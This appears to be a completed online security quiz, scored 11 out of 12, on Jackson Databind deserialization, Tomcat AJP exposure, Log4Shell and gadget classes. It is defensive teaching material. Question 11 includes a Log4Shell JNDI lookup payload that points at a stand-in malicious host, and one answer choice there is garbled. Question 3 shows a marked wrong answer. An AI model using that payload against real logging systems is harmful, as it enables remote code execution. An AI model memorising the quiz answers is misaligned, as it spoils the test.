

Started on Wednesday, 19 March 2025, 4:36 PM**State** Finished**Completed on** Wednesday, 19 March 2025, 4:38 PM**Time taken** 1 min 43 secs**Marks** 11.00/12.00**Grade** 91.67 out of 100.00**Question 1**

Complete

Mark 1.00 out of 1.00

How can an attacker exploit the Jackson Databind vulnerability?

- ☐ a. By injecting SQL queries into the serialized JSON
- ☐ b. By passing a URL that bypasses authentication checks
- ☒ c. By sending a JSON payload containing dangerous `@type` metadata
- ☐ d. By exploiting weak encryption in the JSON keys

Question 2

Complete

Mark 1.00 out of 1.00

How can the risk associated with AJP be mitigated?

- ☐ a. Disabling HTTPS and using HTTP only
- ☐ b. Upgrading to the latest version of Java
- ☒ c. Restricting AJP traffic to trusted hosts and setting a secret
- ☐ d. Using a different logging library

Question 3

Complete

Mark 0.00 out of 1.00

What caused the Jackson Databind deserialization vulnerability?

- ☐ a. Insufficient logging mechanisms
- ☐ b. A flaw in the handling of polymorphic types
- ☒ c. The use of outdated cryptographic algorithms
- ☐ d. The absence of any type handling logic

Question 4

Complete

Mark 1.00 out of 1.00

What configuration change can help prevent Log4Shell attacks?

- ☒ a. Setting ``log4j2.formatMsgNoLookups=true``
- ☐ b. Disabling log rotation in Log4j
- ☐ c. Using a firewall to block all incoming traffic
- ☐ d. Increasing the logging level to DEBUG

Question 5

Complete

Mark 1.00 out of 1.00

What is a gadget class in the context of deserialization vulnerabilities?

- ☐ a. A class that logs all serialization and deserialization events
- ☐ b. A class that implements only the ``Serializable`` interface without methods
- ☒ c. A class that can be exploited during deserialization to perform unintended actions
- ☐ d. A utility class that simplifies JSON handling

Question 6

Complete

Mark 1.00 out of 1.00

What is one major security risk of exposing an AJP connector to the internet?

- ☐ a. It causes encryption keys to be logged in plain text.
- ☒ b. It can lead to remote code execution through deserialization exploits.
- ☐ c. It can allow attackers to perform DNS cache poisoning.
- ☐ d. It makes the application vulnerable to Cross-Site Scripting (XSS).

Question 7

Complete

Mark 1.00 out of 1.00

What is the primary mitigation for the Jackson deserialization vulnerability?

- ☐ a. Switching to XML instead of JSON
- ☐ b. Disabling all JSON handling in the application
- ☒ c. Upgrading to a patched version of Jackson and whitelisting allowed types
- ☐ d. Using prepared statements for database queries

Question 8

Complete

Mark 1.00 out of 1.00

What made the Log4Shell vulnerability (CVE-2021-44228) possible?

- ☒ a. A remote code execution flaw in the JNDI lookup feature
- ☐ b. Improper token validation in Log4j
- ☐ c. A lack of secure password storage in Log4j
- ☐ d. Unpatched vulnerabilities in the LDAP server

Question 9

Complete

Mark 1.00 out of 1.00

What role does the AJP connector play in a Tomcat-based application?

- ☐ a. It is responsible for TLS encryption of all HTTP requests.
- ☐ b. It handles file uploads from the client.
- ☐ c. It acts as a database connection pool manager.
- ☒ d. It serves as a bridge between a web server and Tomcat for request forwarding.

Question 10

Complete

Mark 1.00 out of 1.00

What type of action might a gadget class perform when deserialized?

- ☒ a. Write files or execute code without explicit calls from the application
- ☐ b. Send email alerts to the system administrator
- ☐ c. Automatically hash all fields using SHA-256
- ☐ d. Automatically compress large objects in memory

Question 11

Complete

Mark 1.00 out of 1.00

Which input could trigger the Log4Shell vulnerability?

- ☐ a. `{ "username": "admin", "password": "password123" }`
- ☒ b. `\${jndi:ldap://malicious-server.com/a}`
- ☐ c. `- ☐ d. `GET /login HTTP/1.1`

Question 12

Complete

Mark 1.00 out of 1.00

Why are gadget classes often found in common libraries?

- ☐ a. Common libraries are more frequently updated and include additional features.
- ☒ b. Common libraries often include reusable classes with methods that may be automatically invoked during deserialization.
- ☐ c. Common libraries are more likely to be open source and freely available.
- ☐ d. Common libraries are written in older programming languages.